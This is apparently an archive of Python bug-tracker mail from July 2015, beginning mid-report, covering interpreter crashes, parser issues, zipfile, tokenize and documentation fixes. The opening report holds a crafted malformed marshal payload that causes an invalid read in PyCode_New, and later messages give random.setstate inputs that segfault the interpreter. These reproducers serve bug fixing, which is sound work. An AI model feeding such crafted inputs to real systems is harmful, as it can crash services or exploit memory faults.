b'\xe3\x01\x00\xff\x00\x00\x00\x00\xfc\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00k\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x01\xda|x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tesTgases.py\xda\x08\x01\x00\x00\x00s\x00\x00\x00\x00r\x03\x00\x00\x00\xfa\x0fmk_testck_te\x00)\x01\xda\x01x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x80\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00"\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tMstgases\x11py\xda\x08$\x00\x00\x12s\x00\x00\x00\x00r\x03\x00' load(BytesIO(payload)) ---------- components: Interpreter Core files: invalid_read.py messages: 246658 nosy: blarsen priority: normal severity: normal status: open title: Invalid read in PyCode_New type: crash versions: Python 3.4 Added file: http://bugs.python.org/file39914/invalid_read.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 20:17:08 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 18:17:08 +0000 Subject: [issue24618] Invalid read in PyCode_New In-Reply-To: <1436723206.75.0.0338800196723.issue24618@psf.upfronthosting.co.za> Message-ID: <1436725028.02.0.255921422112.issue24618@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 20:24:06 2015 From: report at bugs.python.org (eryksun) Date: Sun, 12 Jul 2015 18:24:06 +0000 Subject: [issue24617] os.makedirs()'s [mode] not correct In-Reply-To: <1436721223.66.0.229120395272.issue24617@psf.upfronthosting.co.za> Message-ID: <1436725446.06.0.00991619157614.issue24617@psf.upfronthosting.co.za> eryksun added the comment: This is not a bug, but perhaps the documentation could further clarify that the set of valid values for the mode parameter is platform dependent. The [POSIX specification][1] for mkdir() states that "[w]hen bits in mode other than the file permission bits are set, the meaning of these additional bits is implementation-defined". On Linux, mkdir honors the sticky bit (S_ISVTX). On OS X, on the other hand, the [man page][2] states that "the behavior of mkdir() is undefined when mode bits other than the low 9 bits are used. Use chmod(2) after mkdir() to explicitly set the other bits". 1. http://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html 2. https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man2/mkdir.2.html ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 20:49:13 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 12 Jul 2015 18:49:13 +0000 Subject: [issue24619] async/await parser issues Message-ID: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za> New submission from Stefan Krah: If I understand the reference manual correctly, these should probably be rejected by the compiler: >>> async def f(): ... def g(): pass ... async = 10 ... >>> async def f(): ... def async(): ... pass ... >>> async def f(): async = 10 ... >>> async def f(): ... def await(): pass ... >>> And this should perhaps be accepted: >>> async def f(): ... return lambda await: await File "", line 2 return lambda await: await ^ SyntaxError: invalid syntax This, too: >>> async def f(): ... async def g(): pass ... await z File "", line 3 await z ^ SyntaxError: invalid syntax ---------- messages: 246660 nosy: gvanrossum, skrah, yselivanov priority: normal severity: normal status: open title: async/await parser issues _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:19:24 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 12 Jul 2015 19:19:24 +0000 Subject: [issue24620] Segfault with nonsensical random state Message-ID: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za> New submission from Stefan Krah: While trying to find a possible cause for #24546, I came across this glitch: Python 3.6.0a0 (default:02b81a82a57d, Jul 12 2015, 20:33:44) [GCC 4.8.4] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import random >>> s = (3, (999999999999999,)*625, None) >>> random.setstate(s) >>> random.choice([1,2,3,4,5]) Segmentation fault (core dumped) ---------- messages: 246661 nosy: mark.dickinson, rhettinger, skrah priority: normal severity: normal status: open title: Segfault with nonsensical random state _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:24:01 2015 From: report at bugs.python.org (Yasar Luqman Ahmed) Date: Sun, 12 Jul 2015 19:24:01 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file Message-ID: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> New submission from Yasar Luqman Ahmed: I have a zip-file that can be opened/extracted with 7zip but gives an error when I try work with it in python: Py2 (2.7.3 / Linux/Debian7): Traceback (most recent call last): File "", line 1, in File "/usr/lib/python2.7/zipfile.py", line 714, in __init__ self._GetContents() File "/usr/lib/python2.7/zipfile.py", line 748, in _GetContents self._RealGetContents() File "/usr/lib/python2.7/zipfile.py", line 763, in _RealGetContents raise BadZipfile, "File is not a zip file" zipfile.BadZipfile: File is not a zip file Py3 (3.4.3 / Windows 7 /64bit): Traceback (most recent call last): File "", line 1, in badzip = ZipFile(bad) File "C:\Python34\lib\zipfile.py", line 937, in __init__ self._RealGetContents() File "C:\Python34\lib\zipfile.py", line 978, in _RealGetContents raise BadZipFile("File is not a zip file") zipfile.BadZipFile: File is not a zip file The zip-file is attached. ---------- components: Library (Lib) files: not_working.zip messages: 246662 nosy: Yasar Luqman Ahmed priority: normal severity: normal status: open title: zipfile.BadZipFile: File is not a zip file type: behavior versions: Python 2.7, Python 3.4 Added file: http://bugs.python.org/file39915/not_working.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:29:37 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 12 Jul 2015 19:29:37 +0000 Subject: [issue24622] tokenize.py: missing EXACT_TOKEN_TYPES Message-ID: <1436729377.89.0.451182448624.issue24622@psf.upfronthosting.co.za> New submission from Stefan Krah: ELLIPSIS and RARROW are missing in EXACT_TOKEN_TYPES. Patch attached. ---------- files: tokenize.diff keywords: patch messages: 246663 nosy: meador.inge, skrah priority: normal severity: normal status: open title: tokenize.py: missing EXACT_TOKEN_TYPES Added file: http://bugs.python.org/file39916/tokenize.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:36:15 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 19:36:15 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file In-Reply-To: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> Message-ID: <1436729775.93.0.493674781032.issue24621@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:36:54 2015 From: report at bugs.python.org (Tim Peters) Date: Sun, 12 Jul 2015 19:36:54 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436729814.63.0.700149795099.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: I have a question about this new snippet in choice(): + if i == n and n > 0: + i = n - 1 What's the purpose of the "and n > 0" clause? Without it, if i == n == 0 then i will be set to -1, which is just as good as 0 for the purpose of raising IndexError (seq[any_int] raises IndexError when seq is empty). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:41:18 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 12 Jul 2015 19:41:18 +0000 Subject: [issue24623] Parser: broken line numbers for triple-quoted strings Message-ID: <1436730078.84.0.940151456611.issue24623@psf.upfronthosting.co.za> New submission from Stefan Krah: IMO the string should start at lineno=1, col_offset=0. $ ./python Python 3.6.0a0 (default:02b81a82a57d, Jul 12 2015, 20:33:44) [GCC 4.8.4] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import ast >>> a = ast.parse('''"""xxx ... yyy ... zzz"""''') >>> ast.dump(a, include_attributes=True) "Module(body=[Expr(value=Str(s='xxx\\nyyy\\nzzz', lineno=3, col_offset=-1), lineno=3, col_offset=-1)])" ---------- messages: 246665 nosy: skrah priority: normal severity: normal status: open title: Parser: broken line numbers for triple-quoted strings _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:42:12 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 12 Jul 2015 19:42:12 +0000 Subject: [issue24623] Parser: broken line numbers for triple-quoted strings In-Reply-To: <1436730078.84.0.940151456611.issue24623@psf.upfronthosting.co.za> Message-ID: <1436730132.85.0.650444779442.issue24623@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:44:09 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 19:44:09 +0000 Subject: [issue24620] Segfault with nonsensical random state In-Reply-To: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za> Message-ID: <1436730249.13.0.242016368709.issue24620@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Can't reproduce on 32-bit. ---------- components: +Extension Modules nosy: +serhiy.storchaka stage: -> needs patch type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:48:18 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 12 Jul 2015 19:48:18 +0000 Subject: [issue24620] Segfault with nonsensical random state In-Reply-To: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za> Message-ID: <1436730498.14.0.35850810522.issue24620@psf.upfronthosting.co.za> Stefan Krah added the comment: I think it's just a matter of checking for self->index <= N in setstate(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 21:52:35 2015 From: report at bugs.python.org (Tim Peters) Date: Sun, 12 Jul 2015 19:52:35 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436730755.57.0.196571755182.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: Hmm. Looks like the answer to my question came before, via "Custom collection can has non-standard behavior with negative indices." Really? We're worried about a custom collection that assigns some crazy-ass meaning to a negative index applied to an empty sequence? Like what? I don't really care about supporting insane sequences ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 22:03:39 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 20:03:39 +0000 Subject: [issue24620] Segfault with nonsensical random state In-Reply-To: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za> Message-ID: <1436731419.9.0.459570638121.issue24620@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: But I can reproduce the crash with other example. import random random.setstate((3, (1,)*624+(-10**9,), None)) random.random() The index attribute can be set to negative value and this causes reading out of the buffer. Here is a patch that fixes this. ---------- keywords: +patch stage: needs patch -> patch review versions: +Python 2.7, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file39917/random_setstate_index.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 22:36:58 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 12 Jul 2015 20:36:58 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436733418.37.0.312127008649.issue23441@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > My weak preference is with Martin?s simpler patch and relying on the > Readline and the terminal to handle questions of tab stops and copied > text. Fair enough. Still, it would be nice to add a test to test_rlcompleter. Does someone want to do this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 22:39:00 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 12 Jul 2015 20:39:00 +0000 Subject: [issue23239] SSL match_hostname does not accept IP Address In-Reply-To: <1421226292.77.0.451398063166.issue23239@psf.upfronthosting.co.za> Message-ID: <1436733540.41.0.553793497302.issue23239@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > ping Sorry. I do not have time currently to tackle this issue. Feel free to submit and/or commit improvements if you feel like it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 23:23:25 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 12 Jul 2015 21:23:25 +0000 Subject: [issue24587] Tkinter stacking versus focus behavior on Windows In-Reply-To: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za> Message-ID: <1436736205.42.0.794129563488.issue24587@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This tracker is for patches to the CPython repository. That includes tkinter, but does not include tk. Ned, you know much more about OS variations in tk behavior than. What do you think? (See initial post.) What happens on Mac. Should we ask Kevin W. about this? ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 23:27:52 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 12 Jul 2015 21:27:52 +0000 Subject: [issue23220] Documents input/output effects of how IDLE runs user code In-Reply-To: <1420937687.17.0.885670059147.issue23220@psf.upfronthosting.co.za> Message-ID: <1436736472.77.0.39828647647.issue23220@psf.upfronthosting.co.za> Terry J. Reedy added the comment: OK. "Both are true for backspace ('\b') and return ('\r')." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 23:42:44 2015 From: report at bugs.python.org (Tim Peters) Date: Sun, 12 Jul 2015 21:42:44 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436737364.93.0.565828370088.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: [Serhiy Storchaka] > ... I want to say that double rounding causes not > only bias from ideal distribution, but a difference > between platforms That's so, but not too surprising. On those platforms users will see differences between "primitive" floating addition and multiplication (etc) operations too. There's a tradeoff here. In Python's earliest days, the bias was strongly in favor of letting platform C quirks shine through. Partly to make Python-C interoperability easiest, but at least as much because hiding cross-platform fp quirks is a major effort and even Guido had only finite time ;-) As the years go by, the bias has been switching in favor of hiding platform quirks. I hope Python 3 continues in that vein, but Python 2 probably needs to stay pretty much where it is. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 00:20:21 2015 From: report at bugs.python.org (Konstantin Molchanov) Date: Sun, 12 Jul 2015 22:20:21 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436739621.61.0.255007383608.issue24136@psf.upfronthosting.co.za> Konstantin Molchanov added the comment: I've updated the Calls syntax reference in reference/expressions and the assignment object description in reference/simple_stmts. Please tell me if I'm generally doing OK. If I'm not, please guide me to the right direction. ---------- Added file: http://bugs.python.org/file39918/reference_calls_syntax_update.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 00:21:21 2015 From: report at bugs.python.org (Konstantin Molchanov) Date: Sun, 12 Jul 2015 22:21:21 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436739681.58.0.222027717615.issue24136@psf.upfronthosting.co.za> Changes by Konstantin Molchanov : Added file: http://bugs.python.org/file39919/replace_sequence_with_iterable.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 03:37:26 2015 From: report at bugs.python.org (Neil Girdhar) Date: Mon, 13 Jul 2015 01:37:26 +0000 Subject: [issue24624] Itertools documentation says iterator when iterable is intended Message-ID: <1436751446.36.0.0536875668561.issue24624@psf.upfronthosting.co.za> New submission from Neil Girdhar: In the description of the consume recipe: def consume(iterator, n): "Advance the iterator n-steps ahead. If n is none, consume entirely." # Use functions that consume iterators at C speed. if n is None: # feed the entire iterator into a zero-length deque collections.deque(iterator, maxlen=0) else: # advance to the empty slice starting at position n next(islice(iterator, n, n), None) iterator should be replaced with iterable. This function accepts strings for example, which are not iterators. ---------- assignee: docs at python components: Documentation messages: 246676 nosy: docs at python, neil.g priority: normal severity: normal status: open title: Itertools documentation says iterator when iterable is intended type: enhancement versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 03:52:52 2015 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 13 Jul 2015 01:52:52 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1436752372.1.0.74380164119.issue24553@psf.upfronthosting.co.za> Nick Coghlan added the comment: As a possible starting point for this, I'll point to https://hg.python.org/cpython/file/02b81a82a57d/Lib/test/__main__.py Now, I'd expected running that in a process that was *already* running regrtest to fail miserably (it would stomp all over itself). But what we could potentially do is launch a *clean* subprocess, where the only thing it did was: from _testcapi import run_in_subinterp regrtest_in_subinterpreter = ( """ from test import regrtest regrtest.main_in_temp_cwd() """ ) run_in_subinterp(regrtest_in_subinterpreter) I'd currently expect that to fail as well, but I think the failures might be enlightening :) I'm also not sure we need to integrate this directly into the main regrtest test runner - it could just be a separate submodule invoked like "python -m test.subinterpretertest". If we later decided to integrate it, then it could go behind a "-usubinterpreter" resource that invoked "test.subinterpretertest" in a subprocess. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 03:57:42 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 13 Jul 2015 01:57:42 +0000 Subject: [issue24624] Itertools documentation says iterator when iterable is intended In-Reply-To: <1436751446.36.0.0536875668561.issue24624@psf.upfronthosting.co.za> Message-ID: <20150713015734.GK27268@ando.pearwood.info> Steven D'Aprano added the comment: On Mon, Jul 13, 2015 at 01:37:26AM +0000, Neil Girdhar wrote: > > New submission from Neil Girdhar: > > In the description of the consume recipe: [...] > iterator should be replaced with iterable. This function accepts strings for example, which are not iterators. It *accepts* strings, but it doesn't consume them. It runs through the string, but the string still exists and you can iterate over it again and again and again. The intent of the recipe is to consume an *iterator* not arbitrary iterables. I don't believe the recipe or its description needs to be changed. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 04:19:16 2015 From: report at bugs.python.org (=?utf-8?b?7KeE66qo7JSo?=) Date: Mon, 13 Jul 2015 02:19:16 +0000 Subject: [issue24625] py.exe executes #! in windows Message-ID: <1436753956.21.0.226247019146.issue24625@psf.upfronthosting.co.za> New submission from ???: Well. A program linked to .py extension in windows (called py.exe) parses hashbang line(#!) and tries to execute program. So hashbang like this: #!/bin/env python doesn't works, and #!calc executes calculator. I guess it is bug. ---------- components: Windows messages: 246679 nosy: paul.moore, steve.dower, tim.golden, zach.ware, ??? priority: normal severity: normal status: open title: py.exe executes #! in windows versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 05:19:08 2015 From: report at bugs.python.org (hiroaki itoh) Date: Mon, 13 Jul 2015 03:19:08 +0000 Subject: [issue24626] please sync cgi.parse document Message-ID: <1436757548.2.0.774685113457.issue24626@psf.upfronthosting.co.za> New submission from hiroaki itoh: https://docs.python.org/2/library/cgi.html#cgi.parse (the file defaults to ``sys.stdin`` and environment defaults to ``os.environ``) https://docs.python.org/3/library/cgi.html#cgi.parse (the file defaults to ``sys.stdin``) maby this fix had applied only to python2 branch, so please update to py3 also. ---------- assignee: docs at python components: Documentation messages: 246680 nosy: docs at python, xwhhsprings priority: normal severity: normal status: open title: please sync cgi.parse document type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 05:28:05 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 13 Jul 2015 03:28:05 +0000 Subject: [issue24624] Itertools documentation says iterator when iterable is intended In-Reply-To: <1436751446.36.0.0536875668561.issue24624@psf.upfronthosting.co.za> Message-ID: <1436758085.22.0.649452032273.issue24624@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 05:31:59 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 13 Jul 2015 03:31:59 +0000 Subject: [issue24625] py.exe executes #! in windows In-Reply-To: <1436753956.21.0.226247019146.issue24625@psf.upfronthosting.co.za> Message-ID: <1436758319.71.0.404954100862.issue24625@psf.upfronthosting.co.za> R. David Murray added the comment: Py.exe does not work exactly like unix. Unless you can point to documentation of py.exe that is wrong or does not cover this, this should be closed as not a bug. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 06:20:57 2015 From: report at bugs.python.org (Luke Jang) Date: Mon, 13 Jul 2015 04:20:57 +0000 Subject: [issue24627] Import bsddb result in error on OS X (Python 2.7.10) Message-ID: <1436761257.51.0.817115571283.issue24627@psf.upfronthosting.co.za> New submission from Luke Jang: As title. I installed Python using brew. $ python Python 2.7.10 (default, Jul 9 2015, 13:34:07) [GCC 4.2.1 Compatible Apple LLVM 6.1.0 (clang-602.0.53)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import bsddb Traceback (most recent call last): File "", line 1, in File "/usr/local/Cellar/python/2.7.10_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7/bsddb/__init__.py", line 67, in import _bsddb ImportError: No module named _bsddb >>> ---------- components: Library (Lib) messages: 246682 nosy: Luke Jang priority: normal severity: normal status: open title: Import bsddb result in error on OS X (Python 2.7.10) versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 07:11:10 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 13 Jul 2015 05:11:10 +0000 Subject: [issue24620] Segfault with nonsensical random state In-Reply-To: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za> Message-ID: <1436764270.11.0.818313358329.issue24620@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 08:20:01 2015 From: report at bugs.python.org (Neil Girdhar) Date: Mon, 13 Jul 2015 06:20:01 +0000 Subject: [issue24624] Itertools documentation says iterator when iterable is intended In-Reply-To: <1436751446.36.0.0536875668561.issue24624@psf.upfronthosting.co.za> Message-ID: <1436768401.89.0.211116092404.issue24624@psf.upfronthosting.co.za> Neil Girdhar added the comment: Ah, good point. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 08:41:50 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 13 Jul 2015 06:41:50 +0000 Subject: [issue24627] Import bsddb result in error on OS X (Python 2.7.10) In-Reply-To: <1436761257.51.0.817115571283.issue24627@psf.upfronthosting.co.za> Message-ID: <1436769710.89.0.436932587458.issue24627@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- components: +Macintosh nosy: +ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 08:48:07 2015 From: report at bugs.python.org (eryksun) Date: Mon, 13 Jul 2015 06:48:07 +0000 Subject: [issue24625] py.exe executes #! in windows In-Reply-To: <1436753956.21.0.226247019146.issue24625@psf.upfronthosting.co.za> Message-ID: <1436770087.01.0.307071942164.issue24625@psf.upfronthosting.co.za> eryksun added the comment: To support cross-platform shebangs, the launcher special-cases the following virtual commands [1]: /usr/bin/env python /usr/bin/python /usr/local/bin/python python The "env" virtual command searches the PATH environment variable. Note that it's /usr/bin/env since that's the most common location for the env utility on POSIX systems. If /bin/env is used there should at least be a symlink to it in /usr/bin. [1]: https://docs.python.org/3/using/windows.html#shebang-lines ---------- nosy: +eryksun versions: +Python 3.4 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 08:56:13 2015 From: report at bugs.python.org (Ned Deily) Date: Mon, 13 Jul 2015 06:56:13 +0000 Subject: [issue24627] Import bsddb result in error on OS X (Python 2.7.10) In-Reply-To: <1436761257.51.0.817115571283.issue24627@psf.upfronthosting.co.za> Message-ID: <1436770573.58.0.414291207993.issue24627@psf.upfronthosting.co.za> Ned Deily added the comment: You are using a third-party build of Python from the homebrew package manager. You probably need to install additional brew packages to provide bsddb support so you should ask somewhere else for help with that, perhaps stackoverflow.com. ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 08:58:06 2015 From: report at bugs.python.org (Tim Smith) Date: Mon, 13 Jul 2015 06:58:06 +0000 Subject: [issue24627] Import bsddb result in error on OS X (Python 2.7.10) In-Reply-To: <1436761257.51.0.817115571283.issue24627@psf.upfronthosting.co.za> Message-ID: <1436770686.05.0.979636379574.issue24627@psf.upfronthosting.co.za> Tim Smith added the comment: Hi; I'm a Homebrew maintainer. Please open an issue at https://github.com/Homebrew/homebrew. ---------- nosy: +tdsmith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 09:24:32 2015 From: report at bugs.python.org (Ned Deily) Date: Mon, 13 Jul 2015 07:24:32 +0000 Subject: [issue24587] Tkinter stacking versus focus behavior on Windows In-Reply-To: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za> Message-ID: <1436772272.16.0.300622414701.issue24587@psf.upfronthosting.co.za> Ned Deily added the comment: As far as I can tell the sample program works as expected on OS X with either Cocoa Tk or X11 Tk, in both cases (as long as the event is changed to Button-1). I agree it's most likely a platform difference or platform bug in Tk behavior, rather than a Python issue. But establishing what is the desired Tk behavior on each platform is way beyond the scope of the Python issue tracker. I suggest you ask in more specialized forums, like the Tkinter-discuss list (https://mail.python.org/mailman/listinfo/tkinter-discuss) or a Tk support group. If you want to pursue it as a Tk issue, you might want to search the Tk issue tracker (https://core.tcl.tk/tk/reportlist) and/or open a Tk issue there. You'll probably have more success there if you can provide a Tcl-based test case, for example, using the wish shell, thus eliminating Python from the equation. If it ends up looking to really be a Python issue, please re-open this issue with links to the discussion elsewhere. Good luck! ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 10:27:42 2015 From: report at bugs.python.org (Paul Moore) Date: Mon, 13 Jul 2015 08:27:42 +0000 Subject: [issue24625] py.exe executes #! in windows In-Reply-To: <1436753956.21.0.226247019146.issue24625@psf.upfronthosting.co.za> Message-ID: <1436776062.55.0.5533842912.issue24625@psf.upfronthosting.co.za> Paul Moore added the comment: As noted, this behaviour is as documented, and is deliberately designed to execute the shebang line as either an executable (which calc is) or one of a specific set of "virtual" entries (which does not include /bin/env). ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 14:07:42 2015 From: report at bugs.python.org (Dima Tisnek) Date: Mon, 13 Jul 2015 12:07:42 +0000 Subject: [issue21238] unittest.mock.Mock should not allow you to use non-existent assert methods In-Reply-To: <1397577078.96.0.678735725627.issue21238@psf.upfronthosting.co.za> Message-ID: <1436789262.91.0.393251245869.issue21238@psf.upfronthosting.co.za> Dima Tisnek added the comment: What is this **assret** spelling? I can't a reference to this spelling anywhere else in the codebase, let alone any docs other that this special kwarg. It seems intentional. Was that a joke? Or something I should know? ---------- nosy: +Dima.Tisnek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 14:16:38 2015 From: report at bugs.python.org (Kushal Das) Date: Mon, 13 Jul 2015 12:16:38 +0000 Subject: [issue21238] unittest.mock.Mock should not allow you to use non-existent assert methods In-Reply-To: <1397577078.96.0.678735725627.issue21238@psf.upfronthosting.co.za> Message-ID: <1436789798.78.0.29091846506.issue21238@psf.upfronthosting.co.za> Kushal Das added the comment: It is a typing mistake many people make. We just want to catch those as otherwise mock will silently pass those. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 16:10:32 2015 From: report at bugs.python.org (chris laws) Date: Mon, 13 Jul 2015 14:10:32 +0000 Subject: [issue23972] Asyncio reuseport In-Reply-To: <1429185135.77.0.485030290106.issue23972@psf.upfronthosting.co.za> Message-ID: <1436796632.94.0.475613338603.issue23972@psf.upfronthosting.co.za> chris laws added the comment: I encountered this issue too. I needed it resolved ASAP for my work so I created a loop patch that partially implements the suggestion solution by overriding the create_datagram_endpoint method. Perhaps this might be of some use to the eventual ticket resolver. It can be found in the following gist: https://gist.github.com/claws/d4076b4b155695844d54 If this looks like it's progressing in the right direction I can try to implement it properly in `base_events.py` and submit it via a patch. ---------- nosy: +chris laws _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 17:31:24 2015 From: report at bugs.python.org (Meador Inge) Date: Mon, 13 Jul 2015 15:31:24 +0000 Subject: [issue24622] tokenize.py: missing EXACT_TOKEN_TYPES In-Reply-To: <1436729377.89.0.451182448624.issue24622@psf.upfronthosting.co.za> Message-ID: <1436801484.92.0.00738348137603.issue24622@psf.upfronthosting.co.za> Meador Inge added the comment: This looks good to me. A few questions. The patch is fixing an obvious bug, but there could be code that depends on the current broken behavior (the table has been incorrect since Python 3.3). How do we feel about such breaking changes? I am OK with this one. Will you add tests? ---------- stage: -> patch review type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 